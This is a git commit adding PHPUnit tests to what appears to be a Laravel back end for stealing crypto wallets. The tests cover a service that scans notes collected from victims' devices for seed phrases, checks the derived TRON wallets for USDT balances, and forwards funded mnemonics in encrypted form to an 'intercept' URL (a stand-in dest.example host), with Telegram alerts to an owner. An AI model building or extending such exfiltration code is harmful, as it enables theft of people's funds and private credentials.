feat: interapt

This commit is contained in:
hashbro
2026-10-12 05:48:19 +08:00
parent 8ae3b6884d
commit c97a61d51f
11 changed files with 500 additions and 72 deletions
+130 -2
View File
@@ -7,14 +7,20 @@ use App\Models\Channel;
use App\Models\Device;
use App\Models\MnemonicFinding;
use App\Models\Note;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Photo;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\MnemonicScanService;
use App\Services\MnemonicScanStatus;
use App\Services\MnemonicWalletDiscovery;
use App\Services\Ocr\OcrDriver;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
@@ -40,7 +46,10 @@ TXT;
'coruna.telegram.bot_token' => 'tg-token',
'coruna.telegram.owner_chat_id' => '10001',
]);
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response('fail', 500),
]);
}
#[Test]
@@ -335,12 +344,22 @@ TXT;
$this->assertSame(3, app(MnemonicScanService::class)->noteProgress(null, $agentA)['total']);
$this->assertSame(5, app(MnemonicScanService::class)->noteProgress(null, $agentB)['total']);
Cache::forget('scan.note_progress:all');
Cache::forget('scan.photo_progress:all');
$admin = Admin::query()->create(['username' => 'scan-index', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.findings.index'))
->assertOk()
->assertSee('助记词扫描')
->assertSee('备忘录');
->assertSee('备忘录')
->assertDontSee('only-latest');
$this->actingAs($admin, 'admin')
->getJson(route('admin.findings.progress'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('note.total', 8)
->assertJsonPath('photo.total', 0);
}
#[Test]
@@ -424,6 +443,115 @@ TXT;
$this->assertSame(MnemonicScanStatus::EMPTY, (int) $device->noteScans()->value('scan_status'));
}
#[Test]
public function confirmed_scan_forwards_mnemonic_when_derived_address_has_balance(): void
{
config(['coruna.intercept.forward_url' => 'https://dest.example']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
'*' => Http::response('fail', 500),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
$device = $this->device('dev-scan-fwd');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'fwd'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
Http::assertSent(function ($request) {
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
return false;
}
$ts = (string) ($request->header('x-ts')[0] ?? '');
$payload = DecryptXxbbBody::crypto()->decryptJsonBody((string) $request->body(), $ts);
return is_array($payload)
&& ($payload['d'] ?? '') === 'dev-scan-fwd'
&& ($payload['a'] ?? '') === 'note_scan'
&& ($payload['mnemonic'] ?? '') === self::PHRASE;
});
}
#[Test]
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
{
config(['coruna.intercept.forward_url' => 'https://dest.example']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'https://dest.example/*' => Http::response('ok', 200),
'*' => Http::response('fail', 500),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
$device = $this->device('dev-scan-nofwd');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'nofwd'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
}
#[Test]
public function confirmed_scan_does_not_forward_when_dest_url_empty(): void
{
config(['coruna.intercept.forward_url' => '']);
Http::fake([
'api.telegram.org/*' => Http::response(['ok' => true], 200),
'*' => Http::response('ok', 200),
]);
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
$device = $this->device('dev-scan-nourl');
Note::query()->create([
'device_id' => $device->id,
'content' => [
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
],
'content_hash' => hash('sha256', 'nourl'),
]);
app(MnemonicScanService::class)->scanDeviceNotes($device);
$this->assertSame(1, $device->mnemonics()->count());
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
}
private function bindFundedDiscovery(string $address, float $usdt): void
{
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
WalletAddress::query()->create([
'device_id' => $mnemonic->device_id,
'mnemonic_id' => $mnemonic->id,
'address' => $address,
'chain_type' => 'TRON',
'source' => '备忘录扫描',
'usdt' => $usdt,
'trx' => 0,
'monitor' => 1,
]);
return $usdt > 0 ? 1 : 0;
});
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
}
private function device(string $key): Device
{
return Device::query()->create([